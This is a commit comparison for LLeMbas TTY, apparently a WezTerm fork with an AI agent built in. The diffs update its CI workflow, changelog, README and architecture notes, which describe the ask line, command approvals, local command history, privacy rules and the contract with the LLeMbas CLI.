Compare commits
6
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a78e7ad48c
|
||
|
|
840e41468b
|
||
|
|
403f8d0730
|
||
|
|
b44ec57291
|
||
|
|
0fa3d1a990
|
||
|
|
79cc61e1a1
|
No files matched your search
@@ -10,7 +10,8 @@
|
||||
name: llembas-tty
|
||||
on:
|
||||
push:
|
||||
branches: [main, dev]
|
||||
# round/**: a branch on which a round of work is built before it is merged into dev
|
||||
branches: [main, dev, "round/**"]
|
||||
tags: ["v*"]
|
||||
pull_request:
|
||||
workflow_dispatch:
|
||||
@@ -53,6 +54,8 @@ jobs:
|
||||
sudo apt-get install -y lua5.4 luajit zsh shellcheck yamllint desktop-file-utils appstream
|
||||
- name: The LLeMbas layer's tests (Lua 5.4 and LuaJIT)
|
||||
run: scripts/test-lua.sh --all
|
||||
- name: The shell integration's status record (bash and zsh, each on a terminal of its own)
|
||||
run: llembas/tests/shell-test.sh
|
||||
- name: Shell scripts, the workflow, the desktop file
|
||||
run: |
|
||||
shellcheck scripts/*.sh llembas/packaging/*.sh llembas/tests/*.sh llembas/ci/*.sh \
|
||||
@@ -70,14 +73,21 @@ jobs:
|
||||
rustflags: ""
|
||||
- name: The set-up program (what it installs is checked against the release key)
|
||||
run: llembas/tests/setup-test.sh
|
||||
- name: Tests of the line logic (the ask line's editor, the input line, history, suggestions, colours)
|
||||
# first of the Rust steps: it has no dependencies, so a mistake in it is known in a minute
|
||||
run: llembas/ci/cargo-annotated.sh test --locked -p llembas-line
|
||||
- name: Build (release)
|
||||
run: cargo build --release --locked -p wezterm -p wezterm-gui -p wezterm-mux-server
|
||||
# also when the line logic's tests failed: one run then says both what they found and
|
||||
# whether the terminal compiles (the steps after this one still stop at a failure)
|
||||
if: ${{ !cancelled() }}
|
||||
# through the wrapper: a compiler error is then an annotation on the run as well
|
||||
run: llembas/ci/cargo-annotated.sh build --release --locked -p wezterm -p wezterm-gui -p wezterm-mux-server
|
||||
- name: The binaries carry our names
|
||||
run: |
|
||||
ls -l target/release/llembas-tty target/release/llembas-tty-gui target/release/llembas-tty-mux-server
|
||||
target/release/llembas-tty --version
|
||||
- name: Tests of the configuration crate (where the layer is built in)
|
||||
run: cargo test --release --locked -p config
|
||||
run: llembas/ci/cargo-annotated.sh test --release --locked -p config
|
||||
- name: Smoke test, headless
|
||||
run: llembas/tests/smoke.sh target/release
|
||||
- name: Package (.deb and tarball)
|
||||
|
||||
@@ -3,6 +3,53 @@
|
||||
What changed in each release of LLeMbas TTY. WezTerm's own changes are in
|
||||
`docs/changelog.md`, as upstream keeps them.
|
||||
|
||||
## 1.0.0-beta.4 — 2026-12-02
|
||||
|
||||
### Changed
|
||||
|
||||
- **LLeMbas in the terminal, not a terminal that starts LLeMbas.** The LLeMbas CLI's own
|
||||
interface is no longer opened in a split. You ask at your own prompt, the answer shows in
|
||||
the terminal's display on the right, and what the agent does in a shell is typed into your
|
||||
pane. The CLI is the engine behind it; `Ctrl+Shift+S` opens the CLI itself, whole, in a new
|
||||
tab. Asking needs LLeMbas CLI 2.0.0-beta.19 or newer; with an older one the terminal says
|
||||
so, with how to update.
|
||||
- **The ask line is in place of your shell's line** (`Ctrl+Shift+A`), not a prompt at the top
|
||||
of the window: it names the model and the mode, `Enter` sends, `Escape` or the key again
|
||||
leaves it, and your shell's line is untouched.
|
||||
- The display is a third of the pane's width (option `display.width`), and the keyboard stays
|
||||
in your shell when it opens.
|
||||
- Keys: `Ctrl+Shift+S` opens the CLI in a tab (it started a session in a split),
|
||||
`Ctrl+Shift+D` shows and hides the display. *Resume a session* is gone from the terminal:
|
||||
a tab keeps its conversation, and the CLI in a tab has its own session list. The options
|
||||
`split` and `new_session_in`, and the keys `new_session`, `resume` and `toggle_display`,
|
||||
are gone with it.
|
||||
- *Log in* and *set up* open in a tab.
|
||||
- AI autocomplete (`autocomplete = true`) is drawn by the terminal, in every shell. The one
|
||||
the shell integration drew is `autocomplete = 'shell'`.
|
||||
|
||||
### Added
|
||||
|
||||
- **AI on and off**: the option `ai`, and `Ctrl+Shift+I` at any moment. Off: the LLeMbas keys
|
||||
do nothing, nothing is started, read or sent.
|
||||
- **Approvals from your own pane**: `Ctrl+Shift+Y` allows, `Ctrl+Shift+J` denies,
|
||||
`Ctrl+Shift+G` stops the turn; what LLeMbas asks is said at your cursor. Palette entries
|
||||
for *approve always*, *new conversation*, *choose model*, *choose autocomplete model* and
|
||||
*choose mode* (manual, auto). The terminal has its own two models, kept by the CLI.
|
||||
- **Suggestions on the shell's line, drawn by the terminal**: the rest of the line from the
|
||||
commands the terminal has seen you run, dimmed after the cursor; `Right` or `End` takes it,
|
||||
`Alt+Right` one word. Needs the shell integration; works in bash and zsh alike.
|
||||
- **The command line in colours**, drawn by the terminal: the command when it exists,
|
||||
options, strings, variables, the signs between commands, comments, paths that exist.
|
||||
- **The terminal's own command history** for those suggestions, in
|
||||
`~/.local/share/llembas-tty/command-history`, yours alone, never sent anywhere. Not kept: a
|
||||
line that starts with a space, a command that was not found, anything from a private pane.
|
||||
*LLeMbas: clear command history* removes it; `history = { enabled = false }` keeps none.
|
||||
- **The pane's status record**: the shell integration says at every prompt, and when a
|
||||
command starts, where the shell stands and how the last command ended. LLeMbas waits for
|
||||
it after typing a command.
|
||||
- Options `suggestions`, `highlight`, `history`, `colors`, `mode`, `display`; palette
|
||||
switches for suggestions, highlighting and AI autocomplete.
|
||||
|
||||
## 1.0.0-beta.3 — 2026-12-02
|
||||
|
||||
### Changed
|
||||
|
||||
Generated
+5
@@ -3297,6 +3297,10 @@ version = "1.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "11d3d7f243d5c5a8b9bb5d6dd2b1602c0cb0b9db1621bafc7ed66e35ff9fe092"
|
||||
|
||||
[[package]]
|
||||
name = "llembas-line"
|
||||
version = "0.1.0"
|
||||
|
||||
[[package]]
|
||||
name = "lock_api"
|
||||
version = "0.4.14"
|
||||
@@ -7138,6 +7142,7 @@ dependencies = [
|
||||
"lazy_static",
|
||||
"lfucache",
|
||||
"libc",
|
||||
"llembas-line",
|
||||
"log",
|
||||
"luahelper",
|
||||
"metrics",
|
||||
|
||||
@@ -1,35 +1,81 @@
|
||||
# LLeMbas TTY
|
||||
|
||||
**A terminal that is also an agent.** LLeMbas TTY is a fork of
|
||||
[WezTerm](https://github.com/wezterm/wezterm) with LLeMbas built in. By default
|
||||
it is an ordinary terminal: nothing is started, nothing of a pane is read and
|
||||
nothing leaves the machine until you press one of the keys below.
|
||||
**LLeMbas in the terminal.** LLeMbas TTY is a fork of
|
||||
[WezTerm](https://github.com/wezterm/wezterm) with LLeMbas built into it: you ask at your own
|
||||
prompt, the answer shows beside your shell, and what the agent does in a shell it types into
|
||||
your pane, at your prompt, where you see it. It is not a terminal that starts another
|
||||
program in a split.
|
||||
|
||||
The agent is the [LLeMbas CLI](https://github.com/LLeMbas/LLeMbas-CLI)
|
||||
(`lembas`), unchanged, and the editor is
|
||||
[LLeMbas IDE](https://github.com/LLeMbas/LLeMbas-IDE) (`llembas-ide`). The terminal carries
|
||||
no copy of either: it uses the ones you have, the same ones you use outside it, and installs
|
||||
what is missing when you ask (*Set-up*, below). The CLI logs in to your own LLeMbas server
|
||||
and uses that server's models.
|
||||
With AI switched off, or until you press one of the keys below, it is an ordinary terminal:
|
||||
nothing is started, nothing of a pane is read and nothing leaves the machine.
|
||||
|
||||
**State: beta.** Built and packaged by CI for Linux x86-64 (a `.deb` and a
|
||||
tarball on the releases page); macOS and Windows are not packaged yet. The
|
||||
parts that need the LLeMbas CLI need one that knows about terminals
|
||||
(2.0.0-beta.18 or newer); with an older one the terminal says so in words.
|
||||
Version in `VERSION`, changes in `CHANGELOG.md`. MIT, like WezTerm — see
|
||||
`LICENSE.md`.
|
||||
The engine is the [LLeMbas CLI](https://github.com/LLeMbas/LLeMbas-CLI) (`lembas`), installed
|
||||
beside the terminal as its own thing, and the editor is
|
||||
[LLeMbas IDE](https://github.com/LLeMbas/LLeMbas-IDE) (`llembas-ide`). The terminal carries no
|
||||
copy of either: it uses the ones you have and installs what is missing when you ask
|
||||
(*Set-up*, below). The CLI logs in to your own LLeMbas server and uses that server's models.
|
||||
|
||||
## What it adds
|
||||
**State: beta.** Built and packaged by CI for Linux x86-64 (a `.deb` and a tarball on the
|
||||
releases page); macOS and Windows are not packaged yet. Asking needs a LLeMbas CLI that can
|
||||
be the terminal's display (2.0.0-beta.19 or newer); with an older one the terminal says so in
|
||||
words, with how to update. Version in `VERSION`, changes in `CHANGELOG.md`. MIT, like
|
||||
WezTerm — see `LICENSE.md`.
|
||||
|
||||
## How it works
|
||||
|
||||
- **Ask in place.** `Ctrl+Shift+A` turns the line you are on into a line for a question:
|
||||
`llembas <model> · <mode> › `, so you see which model and mode will answer before you send.
|
||||
Type, `Enter` sends, `Escape` or the key again leaves it — and your shell's line is as it
|
||||
was: nothing you type on the ask line reaches the shell. It edits like a shell line
|
||||
(arrows, `Home`/`End`, `Ctrl`/`Alt`+arrows by word, `Ctrl+W`, `Ctrl+U`, `Ctrl+K`, paste) and
|
||||
`Up`/`Down` walk through your earlier questions. In a full-screen program it is drawn on
|
||||
the bottom row.
|
||||
- **The display.** The answer shows in a pane on the right, a third of the width, which the
|
||||
terminal opens when you first ask; the keyboard stays in your shell. It has no prompt of
|
||||
its own: it shows what LLeMbas says, the tools it uses that are not the shell, and what it
|
||||
asks you. `Ctrl+Shift+D` hides and shows it.
|
||||
- **Commands happen in your pane.** When LLeMbas runs a command it is typed at your prompt
|
||||
as if you typed it, and its output is in your scrollback. In *manual* mode every command
|
||||
is asked first; `Ctrl+Shift+Y` allows, `Ctrl+Shift+J` denies, from your own pane. In *auto*
|
||||
mode the commands the CLI's rules allow are typed without asking. There are no file-edit
|
||||
tools here: this is for terminal work, and the CLI or the IDE are a key away.
|
||||
- **The CLI itself, whole.** `Ctrl+Shift+S` opens `lembas` in a new tab, in the pane's
|
||||
directory, exactly as if you had typed it.
|
||||
- **AI on and off.** `Ctrl+Shift+I` switches all of it at any moment; the option `ai` says
|
||||
how the terminal starts. Off: every key below but the switch does nothing (and says so
|
||||
once), no process is started, nothing of a pane is read and nothing leaves the machine.
|
||||
- **A shell line with comforts, in any shell.** Drawn by the terminal itself, so they work
|
||||
in bash as in zsh, and inside `ssh` where the other machine's shell has the shell
|
||||
integration:
|
||||
- *suggestions*: the rest of the line, dimmed after the cursor, from the commands this
|
||||
terminal has seen you run. `Right` or `End` takes it, `Alt+Right` one word, anything
|
||||
else just goes on typing;
|
||||
- *colours*: the command (when it exists), options, strings, variables, the signs between
|
||||
commands, comments, and paths that exist;
|
||||
- *AI autocomplete*, off unless you turn it on: when your history has nothing for the
|
||||
line, LLeMbas is asked after a pause and its answer shows in the same place, in italics.
|
||||
|
||||
| Key | Command palette (`Ctrl+Shift+P`) | What it does |
|
||||
|---|---|---|
|
||||
| `Ctrl+Shift+A` | LLeMbas: ask the model | A one-line prompt. Your question goes to LLeMbas with the *terminal context* of the pane you were in (below). If the tab has a LLeMbas pane it is asked there; otherwise one opens to the right, in the same directory. |
|
||||
| `Ctrl+Shift+A` | LLeMbas: ask the model | The ask line. The question goes with the *terminal context* of your pane (below). |
|
||||
| | LLeMbas: ask about this screen | The same, with what is visible on the screen instead of the last commands — also from a full-screen program. |
|
||||
| `Ctrl+Shift+S` | LLeMbas: new session here | Starts `lembas` beside the pane, in its directory. |
|
||||
| `Ctrl+Shift+O` | LLeMbas: resume a session | A list of your sessions to pick from. |
|
||||
| `Ctrl+Shift+D` | LLeMbas: toggle side display | Shows or hides the session's side display. |
|
||||
| `Ctrl+Shift+H` | LLeMbas: private pane on/off | Marks the pane private: nothing of it is ever passed on. |
|
||||
| | LLeMbas: log in | Runs `lembas login`. |
|
||||
| `Ctrl+Shift+S` | LLeMbas: open the CLI | `lembas`, whole, in a new tab. |
|
||||
| `Ctrl+Shift+I` | LLeMbas: AI on/off | The switch. |
|
||||
| `Ctrl+Shift+Y` | LLeMbas: approve (allow once) | Answers what LLeMbas asks, from your pane. |
|
||||
| | LLeMbas: approve always | Where the question offers it (never for a command typed into your pane). |
|
||||
| `Ctrl+Shift+J` | LLeMbas: deny | |
|
||||
| `Ctrl+Shift+G` | LLeMbas: stop the turn | |
|
||||
| | LLeMbas: new conversation | A tab has one conversation, which goes on until you start a new one. |
|
||||
| `Ctrl+Shift+D` | LLeMbas: show/hide the display | Hidden, it runs on behind your pane. |
|
||||
| | LLeMbas: choose model | The terminal's own chat model, from your server's list. |
|
||||
| | LLeMbas: choose autocomplete model | The terminal's own autocomplete model. |
|
||||
| | LLeMbas: choose mode | *manual* or *auto*. |
|
||||
| `Ctrl+Shift+H` | LLeMbas: private pane on/off | Nothing of the pane is passed on, and its commands are not remembered. |
|
||||
| | LLeMbas: suggestions on/off | |
|
||||
| | LLeMbas: syntax highlighting on/off | |
|
||||
| | LLeMbas: AI autocomplete on/off | |
|
||||
| | LLeMbas: clear command history | |
|
||||
| | LLeMbas: log in | `lembas login`, in a new tab. |
|
||||
| `Ctrl+Shift+E` | LLeMbas: open LLeMbas IDE here | LLeMbas IDE in a new tab, in the pane's directory. |
|
||||
| | LLeMbas: set up (CLI and IDE) | Installs what is missing of the two (below). |
|
||||
|
||||
@@ -39,13 +85,10 @@ Version in `VERSION`, changes in `CHANGELOG.md`. MIT, like WezTerm — see
|
||||
and previous, `CTRL+SHIFT+1`…`9` by number. The session bar below sits in that line, so it
|
||||
shows from two tabs on; `config.hide_tab_bar_if_only_one_tab = false` in your own file keeps
|
||||
the line always.
|
||||
- **Session bar.** When the pane you are in runs LLeMbas, the right of the tab
|
||||
bar shows its model, mode, state and how full its context is. A tab in which
|
||||
LLeMbas waits for you is marked with `●`. With no LLeMbas pane, the bar shows
|
||||
nothing of ours.
|
||||
- **Prompt autocomplete**, off by default: in zsh the rest of the line appears
|
||||
dimmed after the cursor (Right arrow or End takes it), in bash a key
|
||||
(`Ctrl+X Ctrl+A`) completes the line. See *Autocomplete* below.
|
||||
- **Session bar.** The right of the tab bar shows the model, mode, state and how full the
|
||||
context is of the conversation in the tab you are in, `AI off` when it is off, and
|
||||
`private` for a private pane. A tab in which LLeMbas waits for you is marked with `●`, and
|
||||
what it asks is said at the cursor of your pane, with the keys that answer.
|
||||
- **Its own everything.** LLeMbas TTY installs beside WezTerm and shares
|
||||
nothing with it: its commands are `llembas-tty`, `llembas-tty-gui` and
|
||||
`llembas-tty-mux-server`, its configuration is
|
||||
@@ -54,7 +97,7 @@ Version in `VERSION`, changes in `CHANGELOG.md`. MIT, like WezTerm — see
|
||||
|
||||
## Set-up: the CLI and LLeMbas IDE
|
||||
|
||||
LLeMbas TTY is the terminal of a set of three: the terminal, the LLeMbas CLI (the agent) and
|
||||
LLeMbas TTY is the terminal of a set of three: the terminal, the LLeMbas CLI (the engine) and
|
||||
LLeMbas IDE (the editor). The other two are installations of their own — in your home
|
||||
directory, updated by themselves (`lembas update`, `llembas-ide update`), and the same whether
|
||||
you start them here or anywhere else. The terminal looks for `lembas` and `llembas-ide` on
|
||||
@@ -68,9 +111,11 @@ and nothing already installed is touched. A beta terminal installs the newest be
|
||||
one the newest stable releases (`--channel stable|beta` to say otherwise; `--dry-run` to see
|
||||
what it would do; `--no-cli`, `--no-ide`).
|
||||
|
||||
## What is passed on, and when
|
||||
## What is passed on, what is kept, and when
|
||||
|
||||
Only when you ask (the two *ask* entries), and only this:
|
||||
**With AI off: nothing, to anyone.** With AI on, still nothing until you ask.
|
||||
|
||||
**When you send a question** (the two *ask* entries), LLeMbas is given, with it:
|
||||
|
||||
- the last 5 commands of that pane with the end of each one's output (200
|
||||
lines or 16 KiB at most), and the pane's directory and shell. This needs the
|
||||
@@ -83,11 +128,35 @@ Never: a pane you marked private, a pane that is asking for a password, a pane
|
||||
that runs on another machine, the scrollback as a whole, or anything at all
|
||||
while you have not asked. The context is written to a file only you can read,
|
||||
in the terminal's runtime directory; LLeMbas deletes it after reading it and
|
||||
the terminal removes any that are left after ten minutes. What LLeMbas then
|
||||
does with it is the CLI's business and follows its permissions.
|
||||
the terminal removes any that are left after ten minutes.
|
||||
|
||||
**While a conversation runs**, LLeMbas can read the pane you asked from and type commands
|
||||
into it, by its own permissions: in manual mode it asks for each command first. That is the
|
||||
CLI's business; it never types at a password prompt.
|
||||
|
||||
**AI autocomplete**, when you turned it on: the line you are typing is sent to
|
||||
`lembas complete` after a pause, when your own history has no suggestion for it — never an
|
||||
empty line, a line that starts with a space, a private pane, or a shell on another machine.
|
||||
What comes back is shown as text; nothing runs until you take it and press Enter.
|
||||
|
||||
**Kept on this machine, sent nowhere:**
|
||||
|
||||
- *The command history* behind the suggestions: `~/.local/share/llembas-tty/command-history`,
|
||||
readable by you alone. One line a command the terminal saw run: when, its exit status, its
|
||||
directory, its text. Never kept: a line that starts with a space, a command of several
|
||||
lines, a command that was not found, anything from a private pane, and nothing you type
|
||||
while a program hides what you type (it is read from the screen, where such text never is).
|
||||
At most 5000 commands. **To clear it:** *LLeMbas: clear command history*, or delete the
|
||||
file. To keep none: `history = { enabled = false }`. It is the terminal's own; your
|
||||
shell's history file is never read.
|
||||
- *The pane's status record*, which the shell integration writes at every prompt: whether the
|
||||
shell is at its prompt or running a command, the last exit status, the time, the
|
||||
directory — not what the command was. It is how LLeMbas knows that a command it typed has
|
||||
ended. In the terminal's runtime directory, readable by you alone.
|
||||
|
||||
The session bar reads what LLeMbas itself tells the terminal about its session.
|
||||
It does not read the pane.
|
||||
It does not read the pane. The colours and the suggestion are drawn when a pane is painted:
|
||||
nothing is written into the pane for them.
|
||||
|
||||
## Configuration
|
||||
|
||||
@@ -102,6 +171,7 @@ local config = wezterm.config_builder()
|
||||
require('llembas').apply(config, {
|
||||
-- every line is optional; these are the defaults
|
||||
enabled = true, -- false: no layer at all
|
||||
ai = true, -- false: the terminal starts with AI off (the switch still works)
|
||||
cli = nil, -- path of `lembas`; nil: PATH, then ~/.local/bin
|
||||
ide = nil, -- path of `llembas-ide`; nil: the same two places
|
||||
session_bar = true,
|
||||
@@ -109,16 +179,20 @@ require('llembas').apply(config, {
|
||||
palette = true,
|
||||
bar = { fields = { 'model', 'mode', 'state', 'context' } },
|
||||
-- also: 'session', 'title', 'effort', 'tokens', 'spend'
|
||||
keys = { -- false turns a key off
|
||||
keys = { -- false turns a key off; any of them can be given a key
|
||||
ask = { key = 'A', mods = 'CTRL|SHIFT' },
|
||||
new_session = { key = 'S', mods = 'CTRL|SHIFT' },
|
||||
resume = { key = 'O', mods = 'CTRL|SHIFT' },
|
||||
toggle_display = { key = 'D', mods = 'CTRL|SHIFT' },
|
||||
cli = { key = 'S', mods = 'CTRL|SHIFT' },
|
||||
ai = { key = 'I', mods = 'CTRL|SHIFT' },
|
||||
approve = { key = 'Y', mods = 'CTRL|SHIFT' },
|
||||
deny = { key = 'J', mods = 'CTRL|SHIFT' },
|
||||
stop = { key = 'G', mods = 'CTRL|SHIFT' },
|
||||
display = { key = 'D', mods = 'CTRL|SHIFT' },
|
||||
private = { key = 'H', mods = 'CTRL|SHIFT' },
|
||||
ide = { key = 'E', mods = 'CTRL|SHIFT' },
|
||||
ask_screen = false, always = false, new = false, model = false, mode = false,
|
||||
},
|
||||
split = { direction = 'Right', size = 0.45 },
|
||||
new_session_in = 'split', -- or 'tab'
|
||||
display = { width = 0.33 }, -- of the pane it opens beside
|
||||
mode = 'manual', -- the mode a display starts in; or 'auto'
|
||||
context = {
|
||||
enabled = true, -- false: questions go alone, nothing of the pane
|
||||
blocks = 5, -- commands passed on (at most 20)
|
||||
@@ -126,12 +200,25 @@ require('llembas').apply(config, {
|
||||
output_bytes = 16384,
|
||||
alt_screen = false, -- true: also the screen of a full-screen program
|
||||
},
|
||||
autocomplete = false,
|
||||
suggestions = true, -- the rest of the line from your own command history
|
||||
highlight = true, -- the command line in colours
|
||||
autocomplete = false, -- AI: true, drawn by the terminal; 'shell', by the shell integration
|
||||
history = { enabled = true, max = 5000 },
|
||||
colors = { -- a number of your colour scheme's palette, '#rrggbb', or false
|
||||
prefix = 6, ghost = 8, notice = 3,
|
||||
command = 2, unknown = false, option = false, string = 3,
|
||||
variable = 6, operator = 5, comment = 8, path = 4,
|
||||
},
|
||||
})
|
||||
|
||||
return config
|
||||
```
|
||||
|
||||
The colours are numbers of your colour scheme's palette, so they follow your theme.
|
||||
`unknown` — a command that is not found — is left alone by default, because the terminal
|
||||
looks in `PATH` and does not know your shell's aliases and functions; give it a colour to
|
||||
mark such words.
|
||||
|
||||
To have none of it: leave the line out of your file, pass `{ enabled = false }`,
|
||||
or start with `llembas-tty -n`.
|
||||
|
||||
@@ -149,16 +236,18 @@ unpacking the tarball, add to `~/.zshrc` or `~/.bashrc`:
|
||||
```
|
||||
|
||||
It marks commands and their output for the terminal (WezTerm's own
|
||||
integration script, OSC 133 and OSC 7) and does nothing outside LLeMbas TTY.
|
||||
integration script, OSC 133 and OSC 7), writes the pane's status record, and
|
||||
does nothing outside LLeMbas TTY. The suggestions and the colours need it: it
|
||||
is how the terminal knows which cells are your command line.
|
||||
|
||||
### Autocomplete
|
||||
**On another machine**, reached with `ssh` from a pane: copy `llembas-tty.sh` and `wezterm.sh`
|
||||
there and source the first from that shell's rc file with `LLEMBAS_TTY` set (for instance
|
||||
`[ -n "$SSH_CONNECTION" ] && LLEMBAS_TTY=remote . ~/.llembas-tty.sh`). Suggestions and
|
||||
colours then work there too, drawn by your terminal; whether a command or a path exists is
|
||||
not marked, since that is the other machine's to know.
|
||||
|
||||
Set `autocomplete = true` in the options above; new panes then have
|
||||
`LLEMBAS_TTY_AUTOCOMPLETE=1` and the shell integration turns completion on.
|
||||
The line you are typing is sent to `lembas complete` after a short pause —
|
||||
never an empty line, never a line that starts with a space, never outside
|
||||
LLeMbas TTY. What comes back is put on the line as text; nothing runs until
|
||||
you press Enter. If zsh-autosuggestions is loaded, ours stays off.
|
||||
The older autocomplete drawn by the shell itself (zsh shows it, bash completes on
|
||||
`Ctrl+X Ctrl+A`) is still there as `autocomplete = 'shell'`.
|
||||
|
||||
---
|
||||
|
||||
|
||||
+91
-28
@@ -9,19 +9,51 @@ merging upstream stays cheap (`git grep -n 'LLeMbas TTY:'` lists them all).
|
||||
llembas/
|
||||
lua/default-config.lua the configuration used when a person has none
|
||||
lua/llembas/init.lua the layer: keys, palette, events, panes, files
|
||||
lua/llembas/core.lua every decision, as pure functions (no terminal needed)
|
||||
tests/run.lua tests of both, against tests/fake_wezterm.lua
|
||||
lua/llembas/core.lua every decision of the layer, as pure functions
|
||||
line/ a Rust crate with no dependencies: what is decided about a line of
|
||||
text (the ask line's editor, the input line read from the screen,
|
||||
the command history, suggestions, the parts of a command line)
|
||||
tests/run.lua tests of the layer, against tests/fake_wezterm.lua
|
||||
tests/shell-test.sh the shell integration's status record, in a real bash and zsh
|
||||
tests/smoke.sh headless test of built binaries (CI)
|
||||
shell/ shell integration: zones, cwd, prompt autocomplete
|
||||
shell/ shell integration: zones, cwd, the status record
|
||||
packaging/ desktop file, appdata, icons, package.sh (.deb, tarball)
|
||||
setup/llembas-tty-setup installs the LLeMbas CLI and LLeMbas IDE when missing, verified
|
||||
ci/ disable-upstream-workflows.sh
|
||||
ci/ cargo-annotated.sh, disable-upstream-workflows.sh
|
||||
wezterm-gui/src/llembas/ the thin Rust part in the terminal: the ask line (an overlay), what
|
||||
is drawn on the input line when a pane is painted, wezterm.llembas
|
||||
scripts/
|
||||
test-lua.sh run tests/run.lua with lua5.4, lua, luajit or nvim -l
|
||||
hygiene.sh nothing private in what the fork adds
|
||||
.github/workflows/llembas-tty.yml
|
||||
```
|
||||
|
||||
## The three parts
|
||||
|
||||
| Part | Where | What it may do |
|
||||
|---|---|---|
|
||||
| The layer | `llembas/lua/` (Lua, built into the binary) | keys, palette, events; starts the display; talks to the CLI; writes the context file. Tested here, without a terminal. |
|
||||
| The line logic | `llembas/line/` (Rust, no dependencies) | decides: editing, where the input line is among cells, what to suggest, what a part of a command line is. Knows no window, pane or font. Tested by `cargo test -p llembas-line`. |
|
||||
| The drawing | `wezterm-gui/src/llembas/` (Rust) | fetches cells, places the result, takes keys. As thin as it can be, because only a person at a screen can check it. |
|
||||
|
||||
The layer asks for the drawing through `wezterm.llembas` (`wezterm-gui/src/llembas/lua.rs`):
|
||||
`ask_line(window, pane, { prefix, event })`, `configure { … }`, `notice(pane, text)`,
|
||||
`set_private(pane_id, on)`, `command_ended(pane, exit, cwd)`, `clear_history()`. The layer
|
||||
looks for each before calling it, so it also runs where they are missing (the mux server,
|
||||
the tests).
|
||||
|
||||
**Upstream files the drawing touches**, each one block with a `LLeMbas TTY:` comment:
|
||||
|
||||
| File | The block | Why there |
|
||||
|---|---|---|
|
||||
| `wezterm-gui/src/main.rs` | `mod llembas;` and one `add_context_setup_func` | where the terminal's other Lua modules are registered |
|
||||
| `wezterm-gui/src/termwindow/render/pane.rs` | the pane's `with_lines_mut` goes through `llembas::decorate::with_lines_mut` | the one place a pane's lines are handed to the painter; with nothing on it is the same call as before |
|
||||
| `wezterm-gui/src/termwindow/keyevent.rs` | a key no binding took may take the suggestion | after key bindings, before the key is sent to the pane |
|
||||
| `wezterm-gui/Cargo.toml`, `Cargo.lock` | the dependency on `llembas/line` | |
|
||||
|
||||
The ask line needs no block of its own: it is an overlay over the pane, as the terminal's
|
||||
search and quick select are, assigned through the functions those use.
|
||||
|
||||
## How the layer gets into the terminal
|
||||
|
||||
`config/src/llembas.rs` compiles the Lua files in as text (`include_str!`)
|
||||
@@ -53,16 +85,25 @@ A new Lua module must be added to `MODULES` in `config/src/llembas.rs`.
|
||||
|
||||
## The contract with the LLeMbas CLI
|
||||
|
||||
The agent is the LLeMbas CLI, unchanged in role. The terminal drives it:
|
||||
The engine is the LLeMbas CLI; its specification (`harness/acp.md` in the CLI's repository,
|
||||
*A terminal as the client*, contract 2) is the authority. What the terminal does of it, and
|
||||
where each point is in the code (one function or constant each, in `lua/llembas/core.lua`):
|
||||
|
||||
| The terminal | The CLI |
|
||||
|---|---|
|
||||
| reads user variables `lembas_session`, `lembas_title`, `lembas_model`, `lembas_mode`, `lembas_effort`, `lembas_state` (`idle`, `waiting`, `thinking`, `tools`, `writing`, `asking`), `lembas_context` (percent), `lembas_tokens`, `lembas_spend` | sets them with OSC 1337 `SetUserVar` |
|
||||
| starts `lembas --terminal-context <file>` in a new pane, or writes `/terminal-context <file>` + Enter into a running session | reads the file, deletes it |
|
||||
| writes the question as a bracketed paste + Enter, once the session reports `lembas_state=idle` | takes it as a prompt |
|
||||
| exports `LLEMBAS_TTY` (version), `LLEMBAS_TTY_PANE`, `LLEMBAS_TTY_EXECUTABLE` to every pane | its terminal tools run `$LLEMBAS_TTY_EXECUTABLE cli send-text --pane-id N --no-paste` and `cli get-text --pane-id N` |
|
||||
| shell integration pipes the line so far to `lembas complete --shell <zsh\|bash> --cwd <dir> --timeout-ms 2500` | prints only the rest of the line; nothing means no suggestion |
|
||||
| runs `lembas sessions --json` for the resume list (falls back to `/sessions` in a new session) | prints a list of objects with `id`, and `title`, `model`, `root` |
|
||||
| The terminal | Where | The CLI |
|
||||
|---|---|---|
|
||||
| asks what the CLI can do: `lembas --version --json`; needs `terminal_contract` ≥ 2 and the part it is about to use (`terminal_surface`, `terminal_models`) | `cli_info`, `cli_has`, `CAP`, `CONTRACT` | prints one JSON object |
|
||||
| starts the display: `lembas terminal --window <id> --pane <n> [--terminal-context <file>] [--mode manual\|auto] [--new]`, to the right of the pane; the id is this run of the terminal and the tab | `display_args`, `window_id`, `held` | one conversation per id |
|
||||
| writes a question, in one write: `/terminal-context <file>` + Enter when there is a context, then the question as a bracketed paste + Enter; at once when the display reports a state, else when it first says `idle` | `ask_bytes` | a new turn, or words added to the running one |
|
||||
| writes a line for the display, each one write: `/approve`, `/always`, `/deny`, `/stop`, `/new`, `/model <ref>`, `/mode <name>` | `DISPLAY_KEYS`, `display_line` | |
|
||||
| reads user variables `lembas_session`, `_title`, `_model`, `_mode`, `_effort`, `_state` (`idle`, `waiting`, `thinking`, `tools`, `writing`, `asking`), `_context`, `_tokens`, `_spend`, and of the display `lembas_surface` (`display`) and `lembas_ask` (`<kind> <keys> <text>`) | `session_from_vars`, `parse_ask` | sets them with OSC 1337 `SetUserVar` |
|
||||
| lists and sets the terminal's two models: `lembas terminal models --json`, `lembas terminal models set --main\|--autocomplete <model>` | `models_args`, `models_set_args`, `terminal_models` | keeps them |
|
||||
| exports `LLEMBAS_TTY` (version), `LLEMBAS_TTY_PANE`, `LLEMBAS_TTY_EXECUTABLE`, `LLEMBAS_TTY_STATUS_DIR` to every pane | Rust (identity), `apply` | types into a pane with `$LLEMBAS_TTY_EXECUTABLE cli send-text --pane-id N --no-paste`, reads it with `cli get-text` |
|
||||
| the shell integration writes the pane's status record at every prompt and when a command starts: `$LLEMBAS_TTY_STATUS_DIR/pane-<n>.status` and the user variable `llembas_tty_status`; the layer writes the file from the variable for a shell that could not (`via=uservar`) | `shell/llembas-tty.sh`, `parse_status`, `status_text`, `status_dir`, `status_dir_of` | waits for it after typing a command |
|
||||
| asks for the rest of a line: the line on standard input of `lembas complete --shell <bash\|zsh\|fish> [--cwd <dir>] --timeout-ms 2500` | `wezterm-gui/src/llembas/complete.rs` | prints only the rest; nothing means no suggestion |
|
||||
|
||||
The status directory is `<runtime directory>/llembas-tty/status-<process id of the terminal>`:
|
||||
two terminals number their panes alike, so each keeps its records apart. Directories of
|
||||
terminals that are gone are removed when a display starts.
|
||||
|
||||
The context file is JSON, mode 0600, in the terminal's runtime directory,
|
||||
named `context-<unix seconds>-<random>.json`:
|
||||
